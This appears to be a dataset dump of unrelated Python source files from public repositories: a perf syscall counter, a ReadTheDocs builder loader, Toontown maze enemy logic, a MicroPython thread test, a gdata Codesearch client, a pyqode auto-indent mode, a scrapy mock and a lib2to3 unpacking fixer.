syscalls__sys_enter(event_name, context, common_cpu, common_secs, common_nsecs, common_pid, common_comm, id, args): raw_syscalls__sys_enter(**locals()) def print_syscall_totals(interval): while 1: clear_term() if for_comm is not None: print "\nsyscall events for %s:\n\n" % (for_comm), else: print "\nsyscall events:\n\n", print "%-40s %10s\n" % ("event", "count"), print "%-40s %10s\n" % ("----------------------------------------", \ "----------"), for id, val in sorted(syscalls.iteritems(), key = lambda(k, v): (v, k), \ reverse = True): try: print "%-40s %10d\n" % (syscall_name(id), val), except TypeError: pass syscalls.clear() time.sleep(interval)
SteveViss/readthedocs.org
refs/heads/master
readthedocs/doc_builder/loader.py
33
from django.utils.importlib import import_module from django.conf import settings # Managers mkdocs = import_module( getattr(settings, 'MKDOCS_BACKEND', 'readthedocs.doc_builder.backends.mkdocs')) sphinx = import_module( getattr(settings, 'SPHINX_BACKEND', 'readthedocs.doc_builder.backends.sphinx')) BUILDER_BY_NAME = { # Possible HTML Builders 'sphinx': sphinx.HtmlBuilder, 'sphinx_htmldir': sphinx.HtmlDirBuilder, 'sphinx_singlehtml': sphinx.SingleHtmlBuilder, # Other Sphinx Builders 'sphinx_pdf': sphinx.PdfBuilder, 'sphinx_epub': sphinx.EpubBuilder, 'sphinx_search': sphinx.SearchBuilder, 'sphinx_singlehtmllocalmedia': sphinx.LocalMediaBuilder, # Other markup 'mkdocs': mkdocs.MkdocsHTML, 'mkdocs_json': mkdocs.MkdocsJSON, } def get_builder_class(name): return BUILDER_BY_NAME[name]
ToontownUprising/src
refs/heads/master
toontown/cogdominium/CogdoMazeSuits.py
3
from pandac.PandaModules import Point3, VBase4 from direct.fsm.FSM import FSM from direct.interval.IntervalGlobal import Sequence, Parallel, ActorInterval, Func, Wait, ParticleInterval, Track, LerpColorScaleInterval, LerpScaleInterval, LerpHprInterval from direct.task.Task import Task from toontown.battle import BattleParticles from toontown.battle import MovieUtil from toontown.minigame.MazeSuit import MazeSuit from CogdoMazeGameObjects import CogdoMazeSplattable import CogdoMazeGameGlobals as Globals import random class CogdoMazeSuit(MazeSuit, FSM, CogdoMazeSplattable): GagHitEventName = 'CogdoMazeSuit_GagHit' DeathEventName = 'CogdoMazeSuit_Death' ThinkEventName = 'CogdoMazeSuit_Think' def __init__(self, serialNum, maze, randomNumGen, difficulty, startTile, cogdoSuitType, walkAnimName = None): data = Globals.SuitData[cogdoSuitType] MazeSuit.__init__(self, serialNum, maze, randomNumGen, data['cellWalkPeriod'], difficulty, data['dnaName'], startTile=startTile, walkSameDirectionProb=Globals.SuitWalkSameDirectionProb, walkTurnAroundProb=Globals.SuitWalkTurnAroundProb, uniqueRandomNumGen=False, walkAnimName=walkAnimName) FSM.__init__(self, 'CogdoMazeSuit') CogdoMazeSplattable.__init__(self, self.suit, '%s-%i' % (Globals.SuitCollisionName, self.serialNum), 1.5) if 'scale' in data: self.suit.setScale(data['scale']) self.hp = data['hp'] self.type = cogdoSuitType self.memos = data['memos'] self.deathSuit = self.suit.getLoseActor() self.deathSuit.pose('lose', 0) BattleParticles.loadParticles() self._initSfx() def _initSfx(self): audioMgr = base.cogdoGameAudioMgr self._deathSoundIval = Sequence(audioMgr.createSfxIval('cogSpin', duration=1.6, startTime=0.6, volume=0.8, source=self.deathSuit), audioMgr.createSfxIval('cogDeath', volume=0.32, source=self.deathSuit)) def _destroySfx(self): if self._deathSoundIval.isPlaying(): self._deathSoundIval.finish() del self._deathSoundIval def destroy(self): BattleParticles.unloadParticles() self.ignoreAll() self._destroySfx() CogdoMazeSplattable.destroy(self) MazeSuit.destroy(self) def handleEnterSphere(self, collEntry): messenger.send(self.COLLISION_EVENT_NAME, [self.type, self.serialNum]) def gameStart(self, gameStartTime): MazeSuit.gameStart(self, gameStartTime) self.accept(Globals.GagCollisionName + '-into-' + self.gagCollisionName, self.handleGagHit) messenger.send(self.ThinkEventName, [self, self.TX, self.TY]) def initCollisions(self): MazeSuit.initCollisions(self) self.collNodePath.setScale(0.75) self.accept(self.uniqueName('again' + self.COLL_SPHERE_NAME), self.handleEnterSphere) def think(self, curTic, curT, unwalkables): MazeSuit.think(self, curTic, curT, unwalkables) messenger.send(self.ThinkEventName, [self, self.TX, self.TY]) def handleGagHit(self, collEntry): gagNodePath = collEntry.getFromNodePath().getParent() messenger.send(self.GagHitEventName, [self.type, self.serialNum, gagNodePath]) def _getSuitAnimationIval(self, animName, startFrame = 0, duration = 1, partName = None, nextState = None): totalFrames = self.suit.getNumFrames(animName) frames = totalFrames - 1 - startFrame frameRate = self.suit.getFrameRate(animName) newRate = frames / duration playRate = newRate / frameRate ival = Sequence(ActorInterval(self.suit, animName, startTime=startFrame / newRate, endTime=totalFrames / newRate, playRate=playRate, partName=partName)) if nextState is not None: def done(): self.request(nextState) ival.append(Func(done)) return ival def hitByGag(self): self.hp = self.hp - 1 self.doSplat() if self.hp <= 0: self.explode() def explode(self): self.doDeathTrack() messenger.send(self.DeathEventName, [self.type, self.serialNum]) def doDeathTrack(self): def removeDeathSuit(suit, deathSuit): if not deathSuit.isEmpty(): deathSuit.detachNode() suit.cleanupLoseActor() self.deathSuit.reparentTo(self.suit.getParent()) self.deathSuit.setScale(self.suit.getScale()) self.deathSuit.setPos(render, self.suit.getPos(render)) self.deathSuit.setHpr(render, self.suit.getHpr(render)) self.suit.hide() self.collNodePath.reparentTo(self.deathSuit) gearPoint = Point3(0, 0, self.suit.height / 2.0 + 2.0) smallGears = BattleParticles.createParticleEffect(file='gearExplosionSmall') singleGear = BattleParticles.createParticleEffect('GearExplosion', numParticles=1) smallGearExplosion = BattleParticles.createParticleEffect('GearExplosion', numParticles=10) bigGearExplosion = BattleParticles.createParticleEffect('BigGearExplosion', numParticles=30) smallGears.setPos(gearPoint) singleGear.setPos(gearPoint) smallGearExplosion.setPos(gearPoint) bigGearExplosion.setPos(gearPoint) smallGears.setDepthWrite(False) singleGear.setDepthWrite(False) smallGearExplosion.setDepthWrite(False) bigGearExplosion.setDepthWrite(False) suitTrack = Sequence(Func(self.collNodePath.stash), ActorInterval(self.deathSuit, 'lose', startFrame=80, endFrame=140), Func(removeDeathSuit, self.suit, self.deathSuit, name='remove-death-suit')) explosionTrack = Sequence(Wait(1.5), MovieUtil.createKapowExplosionTrack(self.deathSuit, explosionPoint=gearPoint)) gears1Track = Sequence(ParticleInterval(smallGears, self.deathSuit, worldRelative=0, duration=4.3, cleanup=True), name='gears1Track') gears2MTrack = Track((0.0, explosionTrack), (0.7, ParticleInterval(singleGear, self.deathSuit, worldRelative=0, duration=5.7, cleanup=True)), (5.2, ParticleInterval(smallGearExplosion, self.deathSuit, worldRelative=0, duration=1.2, cleanup=True)), (5.4, ParticleInterval(bigGearExplosion, self.deathSuit, worldRelative=0, duration=1.0, cleanup=True)), name='gears2MTrack') def removeParticle(particle): if particle and hasattr(particle, 'renderParent'): particle.cleanup() del particle removeParticles = Sequence(Func(removeParticle, smallGears), Func(removeParticle, singleGear), Func(removeParticle, smallGearExplosion), Func(removeParticle, bigGearExplosion)) self.deathTrack = Sequence(Parallel(suitTrack, gears2MTrack, gears1Track, self._deathSoundIval), removeParticles) self.deathTrack.start() class CogdoMazeSlowMinionSuit(CogdoMazeSuit): def __init__(self, serialNum, maze, randomNumGen, difficulty, startTile = None): CogdoMazeSuit.__init__(self, serialNum, maze, randomNumGen, difficulty, startTile, Globals.SuitTypes.SlowMinion) self.defaultTransitions = {'Off': ['Normal'], 'Normal': ['Attack', 'Off'], 'Attack': ['Normal']} def gameStart(self, gameStartTime): CogdoMazeSuit.gameStart(self, gameStartTime) self.request('Normal') def enterNormal(self): self.startWalkAnim() def exitNormal(self): pass def enterAttack(self, elapsedTime): self._attackIval = self._getSuitAnimationIval('finger-wag', duration=2.0, nextState='Normal') self._attackIval.start(elapsedTime) def filterAttack(self, request, args): if request == 'Attack': return None else: return self.defaultFilter(request, args) return None def exitAttack(self): self._attackIval.pause() del self._attackIval class CogdoMazeFastMinionSuit(CogdoMazeSuit): def __init__(self, serialNum, maze, randomNumGen, difficulty, startTile = None): CogdoMazeSuit.__init__(self, serialNum, maze, randomNumGen, difficulty, startTile, Globals.SuitTypes.FastMinion) class CogdoMazeBossSuit(CogdoMazeSuit): BlinkTaskName = 'CogdoMazeBossBlinkTask' ShakeTaskName = 'CogdoMazeBossShakeTask' StartWalkTaskName = 'CogdoMazeBossStartWalkTask' ShakeEventName = 'CogdoMazeSuitShake' def __init__(self, serialNum, maze, randomNumGen, difficulty, startTile = None): CogdoMazeSuit.__init__(self, serialNum, maze, randomNumGen, difficulty, startTile, Globals.SuitTypes.Boss, walkAnimName='stomp') self.dropTimer = 0 self._walkSpeed = float(self.maze.cellWidth) / self.cellWalkDuration * 0.5 def _initSfx(self): CogdoMazeSuit._initSfx(self) audioMgr = base.cogdoGameAudioMgr self._stompSfxIval = audioMgr.createSfxIval('cogStomp', source=self.suit, cutoff=Globals.BossStompSfxCutoff, volume=0.3) self._hitSfx = audioMgr.createSfx('bossCogAngry', self.suit) def _destroySfx(self): del self._hitSfx if self._stompSfxIval.isPlaying(): self._stompSfxIval.finish() del self._stompSfxIval CogdoMazeSuit._destroySfx(self) def spin(self): part = self.suit time = Globals.BossSpinTime degrees = 360 * Globals.BossSpinCount spinIval = LerpHprInterval(part, time, (self.suit.getH() + degrees, 0, 0), blendType='easeOut') spinIval.start() def hitByGag(self): if self.hp >= 2: self._hitSfx.play() self.spin() self.suit.setColorScale(Globals.BlinkColor) self.__startBlinkTask() elif self.hp == 1: self.__stopBlinkTask() CogdoMazeSuit.hitByGag(self) def gameStart(self, gameStartTime): CogdoMazeSuit.gameStart(self, gameStartTime) def startWalkAnim(self): self.suit.loop(self._walkAnimName, fromFrame=43, toFrame=81) self.suit.setPlayRate(self._walkSpeed * Globals.BossCogStompAnimationPlayrateFactor, self._walkAnimName) self.__startShakeTask() def destroy(self): CogdoMazeSuit.destroy(self) self.__stopShakeTask() self.__stopBlinkTask() def pickRandomValidSpot(self, r = 5): validSpots = [] for x in xrange(self.TX - r, self.TX + r): for y in xrange(self.TY - r, self.TY + r): if self.maze.isWalkable(x, y): validSpots.append([x, y]) return self.rng.choice(validSpots) def __startShakeTask(self): self.__stopShakeTask() taskMgr.doMethodLater(Globals.BossShakeTime, self.__shake, self.uniqueName(CogdoMazeBossSuit.ShakeTaskName)) self.bossShakeLastTime = 0 def __stopShakeTask(self): taskMgr.remove(self.uniqueName(CogdoMazeBossSuit.ShakeTaskName)) def __shake(self, task): if task.time - self.bossShakeLastTime > Globals.BossShakeTime: self.suit.setPlayRate(self._walkSpeed * Globals.BossCogStompAnimationPlayrateFactor, self._walkAnimName) self._stompSfxIval.start() messenger.send(self.ShakeEventName, [self, Globals.BossShakeStrength]) self.bossShakeLastTime = task.time return task.cont def __startBlinkTask(self): self.__stopBlinkTask() taskMgr.doMethodLater(Globals.BlinkFrequency, self.__blink, CogdoMazeBossSuit.BlinkTaskName) def __stopBlinkTask(self): taskMgr.remove(CogdoMazeBossSuit.BlinkTaskName) def __blink(self, task): blink = Sequence(LerpColorScaleInterval(self.suit, Globals.BlinkSpeed, VBase4(1.0, 1.0, 1.0, 1.0)), LerpColorScaleInterval(self.suit, Globals.BlinkSpeed, Globals.BlinkColor)) blink.start() return Task.again
alex-march/micropython
refs/heads/master
tests/thread/mutate_dict.py
43
# test concurrent mutating access to a shared dict object # # MIT license; Copyright (c) 2016 Damien P. George on behalf of Pycom Ltd import _thread # the shared dict di = {'a':'A', 'b':'B', 'c':'C', 'd':'D'} # main thread function def th(n, lo, hi): for repeat in range(n): for i in range(lo, hi): di[i] = repeat + i assert di[i] == repeat + i del di[i] assert i not in di di[i] = repeat + i assert di[i] == repeat + i assert di.pop(i) == repeat + i with lock: global n_finished n_finished += 1 lock = _thread.allocate_lock() n_thread = 4 n_finished = 0 # spawn threads for i in range(n_thread): _thread.start_new_thread(th, (30, i * 300, (i + 1) * 300)) # busy wait for threads to finish while n_finished < n_thread: pass # check dict has correct contents print(sorted(di.items()))
xxsergzzxx/python-for-android
refs/heads/master
python3-alpha/extra_modules/gdata/codesearch/service.py
103
# -*- coding: utf-8 -*- # # Copyright (c) 2007 Benoit Chesneau <benoitc@metavers.net> # # Permission to use, copy, modify, and distribute this software for any # purpose with or without fee is hereby granted, provided that the above # copyright notice and this permission notice appear in all copies. # # THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES # WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF # MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR # ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES # WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN # ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF # OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. """CodesearchService extends GDataService to streamline Google Codesearch operations""" __author__ = 'Benoit Chesneau' import atom import gdata.service import gdata.codesearch class CodesearchService(gdata.service.GDataService): """Client extension for Google codesearch service""" ssl = True def __init__(self, email=None, password=None, source=None, server='www.google.com', additional_headers=None, **kwargs): """Creates a client for the Google codesearch service. Args: email: string (optional) The user's email address, used for authentication. password: string (optional) The user's password. source: string (optional) The name of the user's application. server: string (optional) The name of the server to which a connection will be opened. Default value: 'www.google.com'. **kwargs: The other parameters to pass to gdata.service.GDataService constructor. """ gdata.service.GDataService.__init__( self, email=email, password=password, service='codesearch', source=source, server=server, additional_headers=additional_headers, **kwargs) def Query(self, uri, converter=gdata.codesearch.CodesearchFeedFromString): """Queries the Codesearch feed and returns the resulting feed of entries. Args: uri: string The full URI to be queried. This can contain query parameters, a hostname, or simply the relative path to a Document List feed. The DocumentQuery object is useful when constructing query parameters. converter: func (optional) A function which will be executed on the retrieved item, generally to render it into a Python object. By default the CodesearchFeedFromString function is used to return a CodesearchFeed object. This is because most feed queries will result in a feed and not a single entry. Returns : A CodesearchFeed objects representing the feed returned by the server """ return self.Get(uri, converter=converter) def GetSnippetsFeed(self, text_query=None): """Retrieve Codesearch feed for a keyword Args: text_query : string (optional) The contents of the q query parameter. This string is URL escaped upon conversion to a URI. Returns: A CodesearchFeed objects representing the feed returned by the server """ query=gdata.codesearch.service.CodesearchQuery(text_query=text_query) feed = self.Query(query.ToUri()) return feed class CodesearchQuery(gdata.service.Query): """Object used to construct the query to the Google Codesearch feed. here only as a shorcut""" def __init__(self, feed='/codesearch/feeds/search', text_query=None, params=None, categories=None): """Constructor for Codesearch Query. Args: feed: string (optional) The path for the feed. (e.g. '/codesearch/feeds/search') text_query: string (optional) The contents of the q query parameter. This string is URL escaped upon conversion to a URI. params: dict (optional) Parameter value string pairs which become URL params when translated to a URI. These parameters are added to the query's items. categories: list (optional) List of category strings which should be included as query categories. See gdata.service.Query for additional documentation. Yelds: A CodesearchQuery object to construct a URI based on Codesearch feed """ gdata.service.Query.__init__(self, feed, text_query, params, categories)
zwadar/pyqode.python
refs/heads/master
pyqode/python/modes/autoindent.py
1
# -*- coding: utf-8 -*- """ Contains smart indent modes """ import re from pyqode.core.api import TextHelper, get_block_symbol_data from pyqode.qt.QtGui import QTextCursor from pyqode.core.modes import AutoIndentMode, SymbolMatcherMode from pyqode.core.modes.matcher import CLOSE, PAREN, SQUARE, BRACE, OPEN class PyAutoIndentMode(AutoIndentMode): """ Automatically indents text, respecting the PEP8 conventions. Customised :class:`pyqode.core.modes.AutoIndentMode` for python that tries its best to follow the pep8 indentation guidelines. """ def __init__(self): super(PyAutoIndentMode, self).__init__() self._helper = None def on_install(self, editor): super(PyAutoIndentMode, self).on_install(editor) self._helper = TextHelper(editor) def _get_indent(self, cursor): ln, column = self._helper.cursor_position() fullline = self._get_full_line(cursor).rstrip() line = fullline[:column] pre, post = AutoIndentMode._get_indent(self, cursor) if self._at_block_start(cursor, line): return pre, post # return pressed in comments c2 = QTextCursor(cursor) if c2.atBlockEnd(): c2.movePosition(c2.Left) if (self._helper.is_comment_or_string( c2, formats=['comment', 'docstring']) or fullline.endswith(('"""', "'''"))): if line.strip().startswith("#") and column != len(fullline): post += '# ' return pre, post # between parens elif self._between_paren(cursor, column): return self._handle_indent_between_paren( column, line, (pre, post), cursor) else: lastword = self._get_last_word(cursor) lastwordu = self._get_last_word_unstripped(cursor) end_with_op = fullline.endswith( ('+', '-', '*', '/', '=', ' and', ' or', '%')) in_string_def, char = self._is_in_string_def(fullline, column) if in_string_def: post, pre = self._handle_indent_inside_string( char, cursor, fullline, post) elif (fullline.rstrip().endswith(":") and lastword.rstrip().endswith(':') and self._at_block_end(cursor, fullline)): post = self._handle_new_scope_indentation( cursor, fullline) elif line.endswith("\\"): # if user typed \ and press enter -> indent is always # one level higher post += self.editor.tab_length * " " elif (fullline.endswith((')', '}', ']')) and lastword.endswith((')', '}', ']'))): post = self._handle_indent_after_paren(cursor, post) elif (not fullline.endswith("\\") and (end_with_op or not self._at_block_end(cursor, fullline))): post, pre = self._handle_indent_in_statement( fullline, lastwordu, post, pre) elif ((self._at_block_end(cursor, fullline) and fullline.strip().startswith('return')) or lastword == "pass"): post = post[:-self.editor.tab_length] return pre, post @staticmethod def _is_in_string_def(full_line, column): count = 0 char = "'" for i in range(len(full_line)): if full_line[i] == "'" or full_line[i] == '"': count += 1 if full_line[i] == '"' and i < column: char = '"' count_after_col = 0 for i in range(column, len(full_line)): if full_line[i] == "'" or full_line[i] == '"': count_after_col += 1 return count % 2 == 0 and count_after_col % 2 == 1, char @staticmethod def _is_paren_open(paren): return (paren.character == "(" or paren.character == "[" or paren.character == '{') @staticmethod def _is_paren_closed(paren): return (paren.character == ")" or paren.character == "]" or paren.character == '}') @staticmethod def _get_full_line(tc): tc2 = QTextCursor(tc) tc2.select(QTextCursor.LineUnderCursor) full_line = tc2.selectedText() return full_line def _parens_count_for_block(self, col, block): open_p = [] closed_p = [] lists = get_block_symbol_data(self.editor, block) for symbols in lists: for paren in symbols: if paren.position >= col: continue if self._is_paren_open(paren): if not col: return -1, -1, [], [] open_p.append(paren) if self._is_paren_closed(paren): closed_p.append(paren) return len(open_p), len(closed_p), open_p, closed_p def _between_paren(self, tc, col): try: self.editor.modes.get('SymbolMatcherMode') except KeyError: return False block = tc.block() nb_open = nb_closed = 0 while block.isValid() and block.text().strip(): o, c, _, _ = self._parens_count_for_block(col, block) nb_open += o nb_closed += c block = block.previous() col = len(block.text()) return nb_open > nb_closed @staticmethod def _get_last_word(tc): tc2 = QTextCursor(tc) tc2.movePosition(QTextCursor.Left, tc.KeepAnchor, 1) tc2.movePosition(QTextCursor.WordLeft, tc.KeepAnchor) w = tc2.selectedText().strip() return w @staticmethod def _get_last_word_unstripped(tc): tc2 = QTextCursor(tc) tc2.movePosition(QTextCursor.Left, tc.KeepAnchor, 1) tc2.movePosition(QTextCursor.WordLeft, tc.KeepAnchor) return tc2.selectedText() def _get_indent_of_opening_paren(self, tc): tc.movePosition(tc.Left, tc.KeepAnchor) char = tc.selectedText() tc.movePosition(tc.Right, tc.MoveAnchor) mapping = { ')': (OPEN, PAREN), ']': (OPEN, SQUARE), '}': (OPEN, BRACE) } try: character, char_type = mapping[char] except KeyError: return None else: ol, oc = self.editor.modes.get(SymbolMatcherMode).symbol_pos( tc, character, char_type) line = self._helper.line_text(ol) return len(line) - len(line.lstrip()) def _get_first_open_paren(self, tc, column): pos = None char = None ln = tc.blockNumber() tc_trav = QTextCursor(tc) mapping = { '(': (CLOSE, PAREN), '[': (CLOSE, SQUARE), '{': (CLOSE, BRACE) } while ln >= 0 and tc.block().text().strip(): tc_trav.movePosition(tc_trav.StartOfLine, tc_trav.MoveAnchor) lists = get_block_symbol_data(self.editor, tc_trav.block()) all_symbols = [] for symbols in lists: all_symbols += [s for s in symbols] symbols = sorted(all_symbols, key=lambda x: x.position) for paren in reversed(symbols): if paren.position < column: if self._is_paren_open(paren): if paren.position > column: continue else: pos = tc_trav.position() + paren.position char = paren.character # ensure it does not have a closing paren on # the same line tc3 = QTextCursor(tc) tc3.setPosition(pos) try: ch, ch_type = mapping[paren.character] l, c = self.editor.modes.get( SymbolMatcherMode).symbol_pos( tc3, ch, ch_type) except KeyError: continue if l == ln and c < column: continue return pos, char # check previous line tc_trav.movePosition(tc_trav.Up, tc_trav.MoveAnchor) ln = tc_trav.blockNumber() column = len(self._helper.line_text(ln)) return pos, char def _get_paren_pos(self, tc, column): pos, char = self._get_first_open_paren(tc, column) mapping = {'(': PAREN, '[': SQUARE, '{': BRACE} tc2 = QTextCursor(tc) tc2.setPosition(pos) import sys ol, oc = self.editor.modes.get(SymbolMatcherMode).symbol_pos( tc2, OPEN, mapping[char]) cl, cc = self.editor.modes.get(SymbolMatcherMode).symbol_pos( tc2, CLOSE, mapping[char]) return (ol, oc), (cl, cc) @staticmethod def _get_next_char(tc): tc2 = QTextCursor(tc) tc2.movePosition(QTextCursor.NextCharacter, QTextCursor.KeepAnchor) char = tc2.selectedText() return char @staticmethod def _get_prev_char(tc): tc2 = QTextCursor(tc) tc2.movePosition(QTextCursor.PreviousCharacter, QTextCursor.KeepAnchor) char = tc2.selectedText() while char == ' ': tc2.movePosition(tc2.PreviousCharacter, tc2.KeepAnchor) char = tc2.selectedText() return char.strip() def _handle_indent_between_paren(self, column, line, parent_impl, tc): """ Handle indent between symbols such as parenthesis, braces,... """ pre, post = parent_impl next_char = self._get_next_char(tc) prev_char = self._get_prev_char(tc) prev_open = prev_char in ['[', '(', '{'] next_close = next_char in [']', ')', '}'] (open_line, open_symbol_col), (close_line, close_col) = \ self._get_paren_pos(tc, column) open_line_txt = self._helper.line_text(open_line) open_line_indent = len(open_line_txt) - len(open_line_txt.lstrip()) if prev_open: post = (open_line_indent + self.editor.tab_length) * ' ' elif next_close and prev_char != ',': post = open_line_indent * ' ' elif tc.block().blockNumber() == open_line: post = open_symbol_col * ' ' # adapt indent if cursor on closing line and next line have same # indent -> PEP8 compliance if close_line and close_col: txt = self._helper.line_text(close_line) bn = tc.block().blockNumber() flg = bn == close_line next_indent = self._helper.line_indent(bn + 1) * ' ' if flg and txt.strip().endswith(':') and next_indent == post: # | look at how the previous line ( ``':'):`` ) was # over-indented, this is actually what we are trying to # achieve here post += self.editor.tab_length * ' ' # breaking string if next_char in ['"', "'"]: tc.movePosition(tc.Left) is_string = self._helper.is_comment_or_string(tc, formats=['string']) if next_char in ['"', "'"]: tc.movePosition(tc.Right) if is_string: trav = QTextCursor(tc) while self._helper.is_comment_or_string( trav, formats=['string']): trav.movePosition(trav.Left) trav.movePosition(trav.Right) symbol = '%s' % self._get_next_char(trav) pre += symbol post += symbol return pre, post @staticmethod def _at_block_start(tc, line): """ Improve QTextCursor.atBlockStart to ignore spaces """ if tc.atBlockStart(): return True column = tc.columnNumber() indentation = len(line) - len(line.lstrip()) return column <= indentation @staticmethod def _at_block_end(tc, fullline): if tc.atBlockEnd(): return True column = tc.columnNumber() return column >= len(fullline.rstrip()) - 1 def _handle_indent_inside_string(self, char, cursor, fullline, post): # break string with a '\' at the end of the original line, always # breaking strings enclosed by parens is done in the # _handle_between_paren method n = self.editor.tab_length pre = '%s \\' % char post += n * ' ' if fullline.endswith(':'): post += n * " " post += char return post, pre def _handle_new_scope_indentation(self, cursor, fullline): try: indent = (self._get_indent_of_opening_paren(cursor) + self.editor.tab_length) post = indent * " " except TypeError: # e.g indent is None (meaning the line does not ends with ):, ]: # or }: kw = ["if", "class", "def", "while", "for", "else", "elif", "except", "finally", "try", "with"] l = fullline ln = cursor.blockNumber() def check_kw_in_line(kwds, lparam): for kwd in kwds: if kwd in lparam: return True return False while not check_kw_in_line(kw, l) and ln: ln -= 1 l = self._helper.line_text(ln) indent = (len(l) - len(l.lstrip())) * " " indent += self.editor.tab_length * " " post = indent return post def _handle_indent_after_paren(self, cursor, post): indent = self._get_indent_of_opening_paren(cursor) if indent is not None: post = indent * " " return post def _handle_indent_in_statement(self, fullline, lastword, post, pre): if lastword[-1] != ':': if lastword and lastword[-1] != " ": pre += " \\" else: pre += '\\' post += self.editor.tab_length * " " if fullline.endswith(':'): post += self.editor.tab_length * " " return post, pre
zorojean/scrapy
refs/heads/master
tests/mocks/dummydbm.py
179
"""DBM-like dummy module""" import collections class DummyDB(dict): """Provide dummy DBM-like interface.""" def close(self): pass error = KeyError _DATABASES = collections.defaultdict(DummyDB) def open(file, flag='r', mode=0o666): """Open or create a dummy database compatible. Arguments `flag` and `mode` are ignored. """ # return same instance for same file argument return _DATABASES[file]
netsamir/dotfiles
refs/heads/master
files/vim/bundle/YouCompleteMe/third_party/ycmd/third_party/python-future/src/libpasteurize/fixes/fix_unpacking.py
60
u""" Fixer for: (a,)* *b (,c)* [,] = s for (a,)* *b (,c)* [,] in d: ... """ from lib2to3 import fixer_base from itertools import count from lib2to3.fixer_util import (Assign, Comma, Call, Newline, Name, Number, token, syms, Node, Leaf) from libfuturize.fixer_util import indentation, suitify, commatize # from libfuturize.fixer_util import Assign, Comma, Call, Newline, Name, Number, indentation, suitify, commatize, token, syms, Node, Leaf def assignment_source(num_pre, num_post, LISTNAME, ITERNAME): u""" Accepts num_pre and num_post, which are counts of values before and after the starg (not including the starg) Returns a source fit for Assign() from fixer_util """ children = [] pre = unicode(num_pre) post = unicode(num_post) # This code builds the assignment source from lib2to3 tree primitives. # It's not very readable, but it seems like the most correct way to do it. if num_pre > 0: pre_part = Node(syms.power, [Name(LISTNAME), Node(syms.trailer, [Leaf(token.LSQB, u"["), Node(syms.subscript, [Leaf(token.COLON, u":"), Number(pre)]), Leaf(token.RSQB, u"]")])]) children.append(pre_part) children.append(Leaf(token.PLUS, u"+", prefix=u" ")) main_part = Node(syms.power, [Leaf(token.LSQB, u"[", prefix=u" "), Name(LISTNAME), Node(syms.trailer, [Leaf(token.LSQB, u"["), Node(syms.subscript, [Number(pre) if num_pre > 0 else Leaf(1, u""), Leaf(token.COLON, u":"), Node(syms.factor, [Leaf(token.MINUS, u"-"), Number(post)]) if num_post > 0 else Leaf(1, u"")]), Leaf(token.RSQB, u"]"), Leaf(token.RSQB, u"]")])]) children.append(main_part) if num_post > 0: children.append(Leaf(token.PLUS, u"+", prefix=u" ")) post_part = Node(syms.power, [Name(LISTNAME, prefix=u" "), Node(syms.trailer, [Leaf(token.LSQB, u"["), Node(syms.subscript, [Node(syms.factor, [Leaf(token.MINUS, u"-"), Number(post)]), Leaf(token.COLON, u":")]), Leaf(token.RSQB, u"]")])]) children.append(post_part) source = Node(syms.arith_expr, children) return source class FixUnpacking(fixer_base.BaseFix): PATTERN = u""" expl=expr_stmt< testlist_star_expr< pre=(any ',')* star_expr< '*' name=NAME > post=(',' any)* [','] > '=' source=any > | impl=for_stmt< 'for' lst=exprlist< pre=(any ',')* star_expr< '*' name=NAME > post=(',' any)* [','] > 'in' it=any ':' suite=any>""" def fix_explicit_context(self, node, results): pre, name, post, source = (results.get(n) for n in (u"pre", u"name", u"post", u"source")) pre = [n.clone() for n in pre if n.type == token.NAME] name.prefix = u" " post = [n.clone() for n in post if n.type == token.NAME] target = [n.clone() for n in commatize(pre + [name.clone()] + post)] # to make the special-case fix for "*z, = ..." correct with the least # amount of modification, make the left-side into a guaranteed tuple target.append(Comma()) source.prefix = u"" setup_line = Assign(Name(self.LISTNAME), Call(Name(u"list"), [source.clone()])) power_line = Assign(target, assignment_source(len(pre), len(post), self.LISTNAME, self.ITERNAME)) return setup_line, power_line def fix_implicit_context(self, node, results): u""" Only example of the implicit context is a for loop, so only fix that. """ pre, name, post, it = (results.get(n) for n in (u"pre", u"name", u"post", u"it")) pre = [n.clone() for n in pre if n.type == token.NAME] name.prefix = u" " post = [n.clone() for n in post if n.type == token.NAME] target = [n.clone() for n in commatize(pre + [name.clone()] + post)] # to make the special-case fix for "*z, = ..." correct with the least # amount of modification, make the left-side into a guaranteed tuple target.append(Comma()) source = it.clone() source.prefix = u"" setup_line = Assign(Name(self.LISTNAME), Call(Name(u"list"), [Name(self.ITERNAME)])) power_line = Assign(target, assignment_source(len(pre), len(post), self.LISTNAME, self.ITERNAME)) return setup_line, power_line def transform(self, node, results): u""" a,b,c,d,e,f,*g,h,i = range(100) changes to _3to2list = list(range(100)) a,b,c,d,e,f,g,h,i, = _3to2list[:6] + [_3to2list[6:-2]] + _3to2list[-2:] and for a,b,*c,d,e in iter_of_iters: do_stuff changes to for _3to2iter in iter_of_iters: _3to2list = list(_3to2iter) a,b,c,d,e, = _3to2list[:2] + [_3to2list[2:-2]] + _3to2list[-2:] do_stuff """ self.LISTNAME = self.new_name(u"_3to2list") self.ITERNAME = self.new_name(u"_3to2iter") expl, impl = results.get(u"expl"), results.get(u"impl") if expl is not None: setup_line, power_line = self.fix_explicit_context(node, results) setup_line.prefix = expl.prefix power_line.prefix = indentation(expl.parent) setup_line.append_child(Newline()) parent = node.parent i = node.remove() parent.insert_child(i, power_line) parent.insert_child(i, setup_line) elif impl is not None: setup_line, power_line = self.fix_implicit_context(node, results) suitify(node) suite = [k for k in node.children if k.type == syms.suite][0] setup_line.prefix = u"" power_line.prefix = suite.children[1].value suite.children[2].prefix = indentation(suite.children[2]) suite.insert_child(2, Newline()) suite.insert_child(2, power_line) suite.insert_child(2, Newline()) suite.insert_child(2, setup_line) results.get(u"lst").replace(Name(self.ITERNAME, prefix=u" "))
sonjagruen/elephant
refs/heads/master
elephant/spike_train_correlation.py
3
